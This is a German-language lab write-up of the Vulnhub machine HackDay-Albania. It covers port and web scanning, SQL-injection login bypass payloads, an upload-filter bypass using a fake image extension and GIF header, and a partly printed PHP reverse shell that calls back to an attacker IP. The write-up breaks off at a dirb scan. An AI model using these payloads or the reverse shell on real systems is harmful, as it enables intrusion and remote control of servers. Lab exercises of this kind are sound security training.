HackDay-Albania - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
curl
BurpSuite
netcat
find
mysql
...

Inhaltsverzeichnis

Reconnaissance

In der Phase der Reconnaissance sammeln wir Informationen über das Zielsystem. Dies umfasst das Scannen des Netzwerks, um offene Ports und Dienste zu identifizieren, sowie die Auflösung von Hostnamen, um die IP-Adresse des Ziels zu bestimmen.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.126 08:00:27:98:0d:5f PCS Systemtechnik GmbH

Der Befehl arp-scan -l wurde verwendet, um das lokale Netzwerk nach aktiven Hosts zu scannen. Das Ergebnis zeigt, dass die IP-Adresse 192.168.2.126 dem Gerät mit der MAC-Adresse 08:00:27:98:0d:5f gehört, das von PCS Systemtechnik GmbH hergestellt wurde. Dies ist ein wichtiger erster Schritt, um das Zielsystem im Netzwerk zu identifizieren.

┌──(root㉿CCat)-[~]
└─# echo "192.168.2.126 HackDayAlbania.vln" >> /etc/hosts

Der Befehl echo "192.168.2.126 HackDayAlbania.vln" >> /etc/hosts fügt die IP-Adresse und den Hostnamen des Zielsystems zur lokalen /etc/hosts-Datei hinzu. Dies ermöglicht es, das Zielsystem einfach über seinen Hostnamen anzusprechen, anstatt seine IP-Adresse verwenden zu müssen. Dies erleichtert die weitere Analyse und das Testen des Systems.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- 192.168.2.126 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 22:40 CEST Nmap scan report for HackDayAlbania.vln (192.168.2.126) Host is up (0.00018s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 39:76:a2:f0:82:5f:1f:75:0d:e4:c4:c5:a7:48:b1:58 (RSA) | 256 21:fe:63:45:2c:cb:a1:f1:b6:ba:36:dd:ed:d3:d9:48 (ECDSA) |_ 256 25:94:fb:00:c2:c0:ef:30:4a:02:d2:39:d5:57:17:a8 (ED25519) 8008/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 26 disallowed entries (15 shown) | /rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ | /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ | /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ |_/unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/ |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: HackDay Albania 2016 MAC Address: 08:00:27:98:0D:5F (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 S details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.18 ms HackDayAlbania.vln (192.168.2.126)

Der Befehl nmap -sS -sC -sV -A -p- 192.168.2.126 -Pn --min-rate 5000 führt einen umfassenden Nmap-Scan auf dem Zielsystem durch. Hier ist eine detaillierte Analyse der verwendeten Optionen:

  • -sS: SYN-Scan (Stealth Scan). Diese Option führt einen TCP-SYN-Scan durch, der es Nmap ermöglicht, offene Ports zu identifizieren, ohne eine vollständige TCP-Verbindung herzustellen. Dies macht den Scan weniger auffällig und reduziert die Wahrscheinlichkeit, dass er von Firewalls oder Intrusion Detection Systems (IDS) erkannt wird.
  • -sC: Führt Standard-Nmap-Skripte aus, um Informationen über die erkannten Dienste zu sammeln. Diese Skripte können beispielsweise die Version des Dienstes ermitteln oder nach bekannten Schwachstellen suchen.
  • -sV: Erkennt die Version der auf den offenen Ports laufenden Dienste. Dies ist wichtig, um bekannte Schwachstellen in bestimmten Versionen von Software zu identifizieren.
  • -A: Aktiviert aggressive Scan-Optionen, einschließlich Betriebssystemerkennung (-O), Versionserkennung (-sV), Skriptausführung (-sC) und Traceroute (--traceroute). Diese Option kombiniert mehrere Scan-Techniken, um ein möglichst umfassendes Bild des Zielsystems zu erhalten.
  • -p-: Scannt alle 65535 TCP-Ports. Dies stellt sicher, dass keine offenen Ports übersehen werden.
  • -Pn: Überspringt die Host-Entdeckung. Nmap geht davon aus, dass der Host erreichbar ist, und führt den Scan direkt durch. Dies ist nützlich, wenn der Host auf ICMP-Anfragen (Ping) nicht antwortet oder wenn eine Firewall den ICMP-Verkehr blockiert.
  • --min-rate 5000: Sendet Pakete mit einer minimalen Rate von 5000 pro Sekunde. Dies beschleunigt den Scan-Vorgang, kann aber auch die Wahrscheinlichkeit erhöhen, dass der Scan erkannt wird oder dass es zu Problemen mit der Netzwerkverbindung kommt.

Die Ergebnisse des Nmap-Scans zeigen, dass auf dem Zielsystem die Ports 22 (SSH) und 8008 (HTTP) offen sind. Der SSH-Dienst ist die Version OpenSSH 7.2p2 Ubuntu 4ubuntu2.1, und der HTTP-Dienst ist Apache httpd 2.4.18 ((Ubuntu)). Der Scan hat auch die MAC-Adresse des Zielsystems (08:00:27:98:0D:5F) und den Gerätetyp (racle VirtualBox virtual NIC) ermittelt.

Darüber hinaus hat der Scan Informationen über die robots.txt-Datei auf dem HTTP-Server gefunden, die 26 nicht erlaubte Einträge enthält. Diese Einträge können Hinweise auf versteckte oder sensible Bereiche der Website geben.

Der Nmap-Scan liefert wertvolle Informationen über das Zielsystem, die in den folgenden Phasen des Pentests verwendet werden können, um Schwachstellen zu identifizieren und auszunutzen.

Web Enumeration

In der Phase der Web Enumeration konzentrieren wir uns darauf, Informationen über die Webanwendung zu sammeln, die auf dem Zielsystem läuft. Dies umfasst das Scannen der Website mit Tools wie Nikto und Gobuster, um versteckte Dateien und Verzeichnisse zu finden, sowie die Analyse der robots.txt-Datei, um nicht erlaubte Einträge zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nikto -h http://192.168.2.126:8008
- Nikto v2.5.0 + Target IP: 192.168.2.126 + Target Hostname: 192.168.2.126 + Target Port: 8008 + Start Time: 2024-10-07 22:44:55 (GMT2) + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: Entry '/rkfpuzrahngvat/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/pidnsxpyfletyr/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/slgqvasbiohwbu/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/fytdinfovbujoh/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/tmhrwbtcjpixcv/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/wpkuzewfmslafy/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/ngblqvnwdjcrwp/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/havfkphqxdwlqj/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/cvqafkclsyrgle/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/lezjotlubhapun/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/gzuejogpwcvkpi/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/unisxcudkqjydw/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/exschmenuating/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/yrmwbgyhouncha/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/bupzejbkrxqfkd/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/zsnxchzipvodib/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/ibwglqiryexmrk/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/qjeotyqzgmfuzs/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/vojtydvelrkzex/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/xqlvafxgntmbgz/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/dwrbgldmtzshmf/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/mfakpumvcibqvo/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/ohcmrwoxekdsxq/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/atoydiajqwpejc/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/jcxhmrjszfynsl/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/kdyinsktagzotm/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: contains 26 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + /: Server may leak inodes via ETags, header found with file /, inode: 2ee, size: 53e6db5f6380e, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8128 requests: 0 error(s) and 34 item(s) reported on remote host + End Time: 2024-10-07 22:45:11 (GMT2) (16 seconds) + 1 host(s) tested

Der Befehl nikto -h http://192.168.2.126:8008 führt einen Nikto-Scan auf dem Zielsystem durch. Nikto ist ein Open-Source-Webserver-Scanner, der nach potenziell gefährlichen Dateien, veralteten Softwareversionen und anderen Sicherheitsproblemen sucht.

Die Ergebnisse des Nikto-Scans zeigen mehrere interessante Punkte:

  • Das Zielsystem verwendet Apache 2.4.18, eine veraltete Version, die möglicherweise bekannte Sicherheitslücken aufweist.
  • Der Webserver lässt möglicherweise Inode-Informationen über ETags durchsickern, was ein potenzielles Sicherheitsrisiko darstellt (CVE-2003-1418).
  • Die robots.txt-Datei enthält mehrere Einträge, die auf versteckte oder sensible Bereiche der Website hinweisen.
  • Die X-Frame-ptions und X-Content-Type-ptions Header sind nicht gesetzt, was die Website anfällig für Clickjacking- und MIME-Sniffing-Angriffe machen könnte.
  • Die Datei /#wp-config.php# wurde gefunden, die möglicherweise Anmeldeinformationen enthält.

Diese Ergebnisse liefern wertvolle Hinweise auf potenzielle Schwachstellen, die in den folgenden Phasen des Pentests weiter untersucht werden können.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://192.168.2.126:8008" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt..... -b '503,404,403' -e --no-error -k
http://192.168.2.126:8008/index.html (Status: 200) [Size: 750] http://192.168.2.126:8008/js (Status: 301) [Size: 318] [--> http://192.168.2.126:8008/js/] http://192.168.2.126:8008/bg.png (Status: 200) [Size: 3073320] http://192.168.2.126:8008/robots.txt (Status: 200) [Size: 702]

Der Befehl gobuster dir -u "http://192.168.2.126:8008" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt..... -b '503,404,403' -e --no-error -k führt einen Gobuster-Scan auf dem Zielsystem durch. Gobuster ist ein Open-Source-Tool, das zum Auffinden von versteckten Dateien und Verzeichnissen auf einem Webserver verwendet wird.

Hier ist eine Analyse der verwendeten Optionen:

  • dir: Gibt an, dass wir nach Verzeichnissen suchen.
  • -u "http://192.168.2.126:8008": Gibt die Ziel-URL an.
  • -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt": Gibt die Wortliste an, die zum Auffinden von Verzeichnissen verwendet werden soll. In diesem Fall wird die "directory-list-2.3-medium.txt"-Wortliste aus den SecLists verwendet.
  • -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh....: Gibt die Dateierweiterungen an, nach denen gesucht werden soll.
  • -b '503,404,403': Gibt die HTTP-Statuscodes an, die als Fehler behandelt werden sollen. In diesem Fall werden die Statuscodes 503 (Service Unavailable), 404 (Not Found) und 403 (Forbidden) als Fehler behandelt.
  • -e: Gibt an, dass auch nach existierenden Dateien gesucht werden soll.
  • --no-error: Unterdrückt die Anzeige von Fehlermeldungen.
  • -k: Ignoriert SSL-Zertifikatswarnungen.

Die Ergebnisse des Gobuster-Scans zeigen, dass die Dateien index.html, bg.png und robots.txt sowie das Verzeichnis js gefunden wurden. Diese Informationen können verwendet werden, um die Struktur der Website besser zu verstehen und potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.126:8008/robots.txt
Disallow: /rkfpuzrahngvat/ Disallow: /slgqvasbiohwbu/ Disallow: /tmhrwbtcjpixcv/ Disallow: /vojtydvelrkzex/ Disallow: /wpkuzewfmslafy/ Disallow: /xqlvafxgntmbgz/ Disallow: /yrmwbgyhouncha/ Disallow: /zsnxchzipvodib/ Disallow: /atoydiajqwpejc/ Disallow: /bupzejbkrxqfkd/ Disallow: /cvqafkclsyrgle/ Disallow: /unisxcudkqjydw/ Disallow: /dwrbgldmtzshmf/ Disallow: /exschmenuating/ Disallow: /fytdinfovbujoh/ Disallow: /gzuejogpwcvkpi/ Disallow: /havfkphqxdwlqj/ Disallow: /ibwglqiryexmrk/ Disallow: /jcxhmrjszfynsl/ Disallow: /kdyinsktagzotm/ Disallow: /lezjotlubhapun/ Disallow: /mfakpumvcibqvo/ Disallow: /ngblqvnwdjcrwp/ Disallow: /ohcmrwoxekdsxq/ Disallow: /pidnsxpyfletyr/ Disallow: /qjeotyqzgmfuzs/

Der Befehl curl -s http://192.168.2.126:8008/robots.txt ruft den Inhalt der robots.txt-Datei vom Zielsystem ab. Die robots.txt-Datei ist eine Textdatei, die Webmaster verwenden, um Suchmaschinen-Crawlern Anweisungen zu geben, welche Bereiche ihrer Website nicht gecrawlt werden sollen.

Die Ergebnisse zeigen, dass die robots.txt-Datei 26 nicht erlaubte Einträge enthält. Diese Einträge können Hinweise auf versteckte oder sensible Bereiche der Website geben, die in den folgenden Phasen des Pentests weiter untersucht werden sollten.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.126:8008/robots.txt | awk '{print $2}'
/rkfpuzrahngvat/ /slgqvasbiohwbu/ /tmhrwbtcjpixcv/ /vojtydvelrkzex/ /wpkuzewfmslafy/ /xqlvafxgntmbgz/ /yrmwbgyhouncha/ /zsnxchzipvodib/ /atoydiajqwpejc/ /bupzejbkrxqfkd/ /cvqafkclsyrgle/ /unisxcudkqjydw/ /dwrbgldmtzshmf/ /exschmenuating/ /fytdinfovbujoh/ /gzuejogpwcvkpi/ /havfkphqxdwlqj/ /ibwglqiryexmrk/ /jcxhmrjszfynsl/ /kdyinsktagzotm/ /lezjotlubhapun/ /mfakpumvc vcibqvo/ /ngblqvnwdjcrwp/ /ohcmrwoxekdsxq/ /pidnsxpyfletyr/ /qjeotyqzgmfuzs/

Der Befehl curl -s http://192.168.2.126:8008/robots.txt | awk '{print $2}' ruft den Inhalt der robots.txt-Datei ab und filtert dann die Ausgabe mit dem awk-Befehl, um nur die nicht erlaubten Pfade (die zweite Spalte) anzuzeigen.

Diese Liste von nicht erlaubten Pfaden kann verwendet werden, um gezielt nach versteckten oder sensiblen Bereichen der Website zu suchen.

┌──(root㉿CCat)-[~]
└─# for i in $(cat disalow.txt); do echo -e "\n\n$i\n\n";curl http://192.168.2.126:8008/$i;done
... ... /unisxcudkqjydw/ ... ... IS there any /vulnbank/ in there ??? ... ... /dwrbgldmtzshmf/ ... ... Hmmmm???? img src="background.jpg"

Der Befehl for i in $(cat disalow.txt); do echo -e "\n\n$i\n\n";curl http://192.168.2.126:8008/$i;done führt eine Schleife aus, die jeden nicht erlaubten Pfad aus der Datei disalow.txt (die zuvor aus der robots.txt-Datei extrahiert wurde) verwendet, um eine HTTP-Anfrage an den Webserver zu senden und die Antwort anzuzeigen.

Dieser Befehl automatisiert den Prozess des Durchsuchens der nicht erlaubten Pfade, um potenzielle Schwachstellen oder interessante Informationen zu finden.

Die Ausgabe zeigt, dass der Pfad /unisxcudkqjydw/ die Meldung "IS there any /vulnbank/ in there ???" enthält, was auf ein verstecktes Verzeichnis namens vulnbank hindeutet. Der Pfad /dwrbgldmtzshmf/ enthält einen Verweis auf ein Bild namens background.jpg.


view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/
Index of /unisxcudkqjydw/vulnbank .... ... .. .

Der Befehl view-source:http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/ öffnet die Quellcodeansicht des Verzeichnisses /unisxcudkqjydw/vulnbank/ im Browser.

Diese Aktion ermöglicht es, den Inhalt des Verzeichnisses zu inspizieren und potenzielle Schwachstellen oder interessante Dateien zu identifizieren.


http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/
Index of /unisxcudkqjydw/vulnbank [IC] Name Last modified Size Description [PARENTDIR] Parent Directory - [DIR] client/ 2016-05-23 00:27 - Apache/2.4.18 (Ubuntu) Server at 192.168.2.126 Port 8008

Der Aufruf von http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/ im Browser zeigt den Inhalt des Verzeichnisses /unisxcudkqjydw/vulnbank/ an.

Die Ausgabe zeigt, dass das Verzeichnis ein Unterverzeichnis namens client/ enthält. Dies könnte ein interessanter Bereich sein, um weitere Informationen über die Webanwendung zu sammeln.


http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/login.php
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102 Invalid Credentials . . .

Der Aufruf von http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/login.php im Browser zeigt die Login-Seite der Webanwendung.

Die Ausgabe enthält eine Warnmeldung, die auf ein Problem mit der Datenbankkonfiguration hinweist (mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102). Diese Warnmeldung könnte ein Hinweis auf eine potenzielle SQL-Injection-Schwachstelle sein.

Die Meldung "Invalid Credentials . . ." deutet darauf hin, dass die Login-Seite eine Authentifizierung erfordert.

Initial Access

In der Phase des Initial Access versuchen wir, uns Zugriff auf das Zielsystem zu verschaffen. Dies kann durch Ausnutzung von Schwachstellen in der Webanwendung, durch Brute-Force-Angriffe auf die Login-Seite oder durch andere Techniken erfolgen.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -d "username=FUZZ'#" --hs Invalid -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/login.php
Target: http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/login.php Total requests: 8295456 ------------------------------------------------------------------------------------ ID Response Lines Word Chars Payload ------------------------------------------------------------------------------------ 000000071: 302 49 L 84 W 774 Ch "jeff" 000003255: 302 49 L 84 W 774 Ch "Jeff" Total time: 53.01032 Processed Requests: 6372 Filtered Requests: 6370 Requests/sec.: 120.2029

Der Befehl wfuzz -c -d "username=FUZZ'#" --hs Invalid -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/login.php führt einen WFuzz-Angriff auf die Login-Seite durch, um Benutzernamen zu finden, die in Kombination mit einer SQL-Injection-Payload ('#) eine erfolgreiche Anmeldung ermöglichen.

Hier ist eine Analyse der verwendeten Optionen:

  • -c: Aktiviert die Farbausgabe.
  • -d "username=FUZZ'#": Gibt die POST-Daten für die Anfrage an. Der Parameter username wird mit der Payload FUZZ'# gefüllt, wobei FUZZ durch jeden Benutzernamen aus der Wortliste ersetzt wird. Das '#-Zeichen ist ein Kommentar in SQL und wird verwendet, um den Rest der Abfrage zu ignorieren.
  • --hs Invalid: Gibt an, dass Antworten, die den String "Invalid" enthalten, ausgefiltert werden sollen. Dies dient dazu, ungültige Anmeldeversuche herauszufiltern.
  • -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt: Gibt die Wortliste an, die für die Benutzernamen verwendet werden soll.
  • -u http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/login.php: Gibt die Ziel-URL an.

Die Ergebnisse zeigen, dass die Benutzernamen "jeff" und "Jeff" eine 302-Weiterleitung verursachen, was darauf hindeutet, dass diese Benutzernamen in Kombination mit der SQL-Injection-Payload eine erfolgreiche Anmeldung ermöglichen.

Durch die SQL-Injection war es möglich sich am System an dem Login jeff zu authentifizieren


Erfolg Beispiel Angriff:admin' or '1'='0'#
Welcome , Charles D. Hobson Balance : 25000 euro Logout Contact Support Problem : ben wurde gehackt Description: jetzt hackt er zurück [Durchsuchen...:] shell2.php [Submit] Pen Tickets You Have no opened tickets . . . After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc...

Dieser Abschnitt zeigt ein Beispiel für einen erfolgreichen SQL-Injection-Angriff. Die Payload admin' or '1'='0'# wird verwendet, um sich als Benutzer "Charles D. Hobson" anzumelden.

Die Ausgabe zeigt, dass der Benutzer erfolgreich angemeldet wurde und Zugriff auf sein Konto hat. Dies bestätigt, dass die Webanwendung anfällig für SQL-Injection-Angriffe ist.

Die Meldung "After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc..." deutet darauf hin, dass die Webanwendung zuvor gehackt wurde und nun versucht, sich durch Einschränkung der Dateiuploads zu schützen. Dies könnte ein Hinweis auf eine potenzielle Schwachstelle im Zusammenhang mit Dateiuploads sein.

Proof of Concept: Unbefugter Dateiupload und Remote Code Execution

Dieser Proof of Concept (POC) demonstriert, wie ein unbefugter Dateiupload in Kombination mit einer Remote Code Execution (RCE)-Schwachstelle ausgenutzt werden kann, um beliebigen Code auf dem Zielsystem auszuführen.


Burpsuite Request:
PST /unisxcudkqjydw/vulnbank/client/ticket.php HTTP/1.1 Host: 192.168.2.126:8008 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=246025923024161502464159829873 Content-Length: 6103 rigin: http://192.168.2.126:8008 DNT: 1 Connection: keep-alive Referer: http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/client/index.php Cookie: PHPSESSID=c05j49oq7gjoa1bk9p0nl7ffg0 Upgrade-Insecure-Requests: 1 Sec-GPC: 1 --246025923024161502464159829873 Content-Disposition: form-data; name="problem" ben wurde gehackt --246025923024161502464159829873 Content-Disposition: form-data; name="description" scacsacascasc --246025923024161502464159829873 Content-Disposition: form-data; name="photo"; filename="shell2.php" Content-Type: application/x-php array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { print "Can't spawn shell\n"; exit(1); } // // Set stream encoding so that PHP won't screw up character encoding stream_set_blocking($pipes[0], false); stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); stream_set_blocking($sock, false); print "Successfully opened reverse shell to " . $ip . ":" . $port . "\n"; while (1) { // // Test for end of process if (feof($sock)) { print "Connection terminated\n"; break; } // // Test for end of process if (feof($pipes[1])) { print "Shell process terminated\n"; break; } // // Send shell input to shell STDIN $rin = array($sock, $pipes[1], $pipes[2]); $wout = null; $eout = null; $n = @stream_select($rin, $wout, $eout, null); if ($n === false) { break; } if ($rin) { if (in_array($sock, $rin)) { $input = fread($sock, $chunk_size); if ($debug) { print "Received " . strlen($input) . " bytes from socket\n"; } if ($input == false) { break; } fwrite($pipes[0], $input); } if (in_array($pipes[1], $rin)) { $output = fread($pipes[1], $chunk_size); if ($debug) { print "Read " . strlen($output) . " bytes from stdout\n"; } if ($output == false) { break; } fwrite($sock, $output); } if (in_array($pipes[2], $rin)) { $error = fread($pipes[2], $chunk_size); if ($debug) { print "Read " . strlen($error) . " bytes from stderr\n"; } if ($error == false) { break; } fwrite($sock, $error); } } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?> --246025923024161502464159829873--

Dieser Abschnitt zeigt den BurpSuite Request, der zum Hochladen einer PHP-Reverse-Shell (shell2.php) verwendet wurde.

Der Request verwendet den multipart/form-data Content-Type, um die Datei shell2.php zusammen mit den Formulardaten (problem und description) hochzuladen.

Der Inhalt der shell2.php-Datei ist ein PHP-Skript, das eine Reverse-Shell-Verbindung zu der angegebenen IP-Adresse (192.168.2.199) und dem Port (9001) herstellt.

Es ist wichtig zu beachten, dass der Payload für die Reverse-Shell maskiert wurde, um zu verhindern, dass er vom Browser interpretiert oder ausgeführt wird.


Response:
HTTP/1.1 200 K Date: Mon, 07 ct 2024 21:34:19 GMT Server: Apache/2.4.18 (Ubuntu) X-Powered-By: PHP/7.0.8-0ubuntu0.16.04.3 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 725 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc...

Dieser Abschnitt zeigt die Antwort des Servers auf den BurpSuite Request.

Die Antwort enthält den HTTP-Statuscode 200 OK, was darauf hindeutet, dass der Request erfolgreich war.

Die Meldung "After we got hacked we our allowing only image files to upload such as jpg , jpeg , bmp etc..." bestätigt, dass die Webanwendung nur noch Bilddateien zulässt. Dies deutet darauf hin, dass ein direkter Upload von PHP-Dateien nicht mehr möglich ist.


Request:
Content-Disposition: form-data; name="photo"; filename="shell2.php.jpg" Content-Type: image/jpeg GIF89a;

Um die Einschränkung des Dateityps zu umgehen, wird in diesem Abschnitt gezeigt, wie eine PHP-Datei in eine Bilddatei umbenannt und mit einem GIF-Header versehen werden kann.

Der Content-Type wird auf image/jpeg gesetzt, um den Server zu täuschen und die Datei als Bild zu akzeptieren.

Der GIF-Header (GIF89a;) wird hinzugefügt, um sicherzustellen, dass die Datei als gültiges Bild erkannt wird.


Response:
Ticket Created Successfully href='index.php' Go to Main Page

Dieser Abschnitt zeigt die Antwort des Servers auf den zweiten BurpSuite Request.

Die Meldung "Ticket Created Successfully" deutet darauf hin, dass der Upload der Datei shell2.php.jpg erfolgreich war.

┌──(root㉿CCat)-[~]
└─# dirb http://192.168.2.126:8008/unisxcudkqjydw/vulnbank/ /usr/share/seclists/Discovery/Web-Content/big.txt -R -X .php,.txt,.jpg
